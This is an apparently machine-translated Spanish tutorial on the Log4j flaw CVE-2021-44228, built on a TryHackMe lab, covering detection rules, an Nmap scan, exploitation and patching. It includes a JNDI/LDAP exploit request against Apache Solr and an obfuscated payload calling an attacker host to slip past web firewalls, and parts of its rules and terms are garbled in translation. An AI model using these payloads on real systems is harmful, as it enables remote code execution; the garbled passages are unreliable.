Demostramos la detección y el descubrimiento de la reciente vulnerabilidad CVE-2021-44228 de Apache Log4j, además de su explotación, mitigación y aplicación de parches. También cubrimos cómo parchear y mitigar la vulnerabilidad Log4j utilizando las pautas recientemente publicadas por Apache. Usamos el material de PruebaHackMe Log4j espacio para demostrar Log4j en Apache Solar.
Versiones afectadas: Apache Log4j2 <2.15.0
Log4j tiene un impacto negativo en muchos fabricantes y componentes entre los que se encuentran Google y Apple. Puedes encontrar la lista completa aquí
Obtenga notas del certificado OSCP
Cómo detectar la vulnerabilidad Log4j
Log4j se puede detectar realizando un escaneo regular en su red que ejecuta componentes que usan Java. Hay muchas formas de detectar y encontrar si su red es vulnerable a Log4j.
- Usando Reglas de Yara
- Usando firmas Splunk
Puede utilizar esta consulta de búsqueda para buscar cualquier carga útil que contenga una búsqueda JNDI. índice=* ${jndi:*}
- Usando reglas de Suricate
El ejemplo está debajo
alerta http cualquiera cualquiera -> $HOME_NET cualquiera (msg:”FOX-SRT – Exploit – Posible solicitud Apache Log4J RCE observada (CVE-2021-44228)”; flujo:establecido, to_server; contenido:”${jndi:ldap:// ”; fast_pattern: only; flowbits: set, fox.apachelog4j.rce; umbral: límite de tipo, seguimiento por_dst, cuenta 1, segundos 3600; /www.lunasec.io/docs/blog/log4j-zero-day/](http://www.lunasec.io/docs/blog/log4j-zero-day/); metadatos: CVE 2021-44228; creado_en 2021-12-10; metadatos:ids suricata; sid:21003726;)
- Comparando hashes de archivos JAR y Class vulnerables con la lista aquí
- Usar escáneres en línea en pitón o Ir
- Usando Suite de eructos
- Usando el motor de secuencias de comandos Nmap.
Un ejemplo del uso de Nmap para detectar Log4j es el siguiente comando
nmap -sV -T4 -v --script=$PWD/ scanme.nmap.org $PWD: es el directorio donde almacena los scripts de nmapEs importante leer dnslog.cn después de finalizar el análisis para determinar la vulnerabilidad. El resultado de ejemplo se encuentra a continuación gracias a divertir
nmap -T4 -v --script=$PWD/ scanme.nmap.org Iniciando Nmap 7.92 (https://nmap.org) el 15 de diciembre de 2021 a las 12:37 CET NSE: se cargaron 5 scripts para escanear. NSE: Preescaneo de guiones. Iniciando NSE a las 12:37 NSE completado a las 12:37, transcurrido 0,53 s. Resultados del script previo al escaneo: | dnslog-cn: | Dominio: 2t722h.dnslog.cn |_ Recuperar manualmente: curl --cookie "PHPSESSID=ss356ko502lsbftbl49d3g0777" http://dnslog.cn/getrecords.php Iniciando escaneo de ping a las 12:37 Escaneando scanme.nmap.org (45.33.32.156) [2 puertos] Se completó el escaneo de ping a las 12:37, transcurrieron 0,18 s (1 host en total). Se inició la resolución DNS paralela de 1 host. a las 12:37 Resolución DNS paralela completada de 1 host. a las 12:37, transcurrido 1,18 s Iniciando Connect Scan a las 12:37 Escaneando scanme.nmap.org (45.33.32.156) [1000 puertos] Se descubrió el puerto abierto 80/tcp en 45.33.32.156 Se descubrió el puerto abierto 53/tcp en 45.33.32.156 Se descubrió el puerto abierto 22/tcp en 45.33.32.156 Estadísticas: 0:00:23 transcurrido; 0 hosts completados (1 en adelante), 1 en proceso de exploración de conexión Tiempo de exploración de conexión: aproximadamente 56.00% completados; ETC: 12:37 (0:00:16 restantes) Se descubrió el puerto abierto 9929/tcp en 45.33.32.156 Se descubrió el puerto abierto 31337/tcp en 45.33.32.156 Se completó el escaneo de conexión a las 12:37, transcurrieron 37.06 s (1000 puertos en total) NSE : Escaneo de guiones 45.33.32.156. Iniciando NSE a las 12:37 NSE completado a las 12:37, informe de escaneo de Nmap transcurrido de 6,19 s para scanme.nmap.org (45.33.32.156) El host está activo (latencia de 0,18 s). No se muestra: 995 puertos tcp cerrados (conexión rechazada) SERVICIO DE ESTADO DEL PUERTO 22/tcp open ssh 53/tcp open domain 80/tcp open http 9929/tcp open nping-echo 31337/tcp open Elite Host Resultados del script: | dnslog-cn: | Lista de anfitriones respondidos: [] | Recuperar manualmente: curl --cookie "PHPSESSID=ss356ko502lsbftbl49d3g0777" http://dnslog.cn/getrecords.php |_ Si la lista no está vacía, verifique los hosts ya que son potencialmente vulnerables NSE: Script Post-escaneo. Iniciando NSE a las 12:37 NSE completado a las 12:37, transcurridos 0,50 s. Resultados del script posterior a la exploración: | dnslog-cn: | Lista de anfitriones respondidos: [] | Recuperar manualmente: curl --cookie "PHPSESSID=ss356ko502lsbftbl49d3g0777" http://dnslog.cn/getrecords.php |_ Si la lista no está vacía, verifique los hosts ya que son potencialmente vulnerables Lea archivos de datos de: /usr/local/bin/ ../share/nmap Nmap hecho: 1 dirección IP (1 host arriba) escaneada en 46,11 segundos
Cómo aprovechar la vulnerabilidad de Log4j
En resumen, la explotación de la vulnerabilidad Log4j se logra haciendo que el objetivo emita una llamada LDAP a un servidor de referencia LDAP de su parte. El servidor de referencia LDAP redirigirá esta llamada a un servidor web que debe estar ejecutándose en su extremo, que servirá un exploit de Java que, una vez ejecutado en el objetivo, le dará al atacante acceso al shell en el objetivo.
Las siguientes son cargas útiles que puede agregar a sus solicitudes http.
curl 'http://target-ip:8983/solr/admin/cores?foo=$\{jndi:ldap://your-ip:1389/Log4j\}'
La carga útil anterior supone que está probando Apache solr. Si está probando otra línea de productos de Apache, deberá cambiar la ruta URL, pero la parte de la carga útil seguirá siendo la misma.
Cómo evitar los firewalls de aplicaciones web
Si desea probar sus controles de seguridad existentes contra Log4j, puede codificar su carga útil de Log4j como la siguiente
${${env:ENV_NAME:-j}ndi${env:ENV_NAME:-:}${env:ENV_NAME:-l}dap${env:ENV_NAME:-:}//attackerendpoint.com/}
Cómo mitigar y parchear la vulnerabilidad Log4j
La mitigación de la vulnerabilidad de Log4j se puede lograr agregando dos propiedades del sistema que deshabiliten las búsquedas JNDI. Establezca específicamente las siguientes propiedades en VERDADERO
log4j2.formatMsgNoLookups
LOG4J_FORMAT_MSG_NO_LOOKUPS
Para parchear la vulnerabilidad Log4j, actualice a la versión 2.16.0. Reemplace los archivos jar principales por los archivos jar existentes en su sistema. Visita pagina de descarga de apache para recuperar la última versión de Log4j.
Para obtener más detalles sobre lo anterior, mire los videos explicativos a continuación.
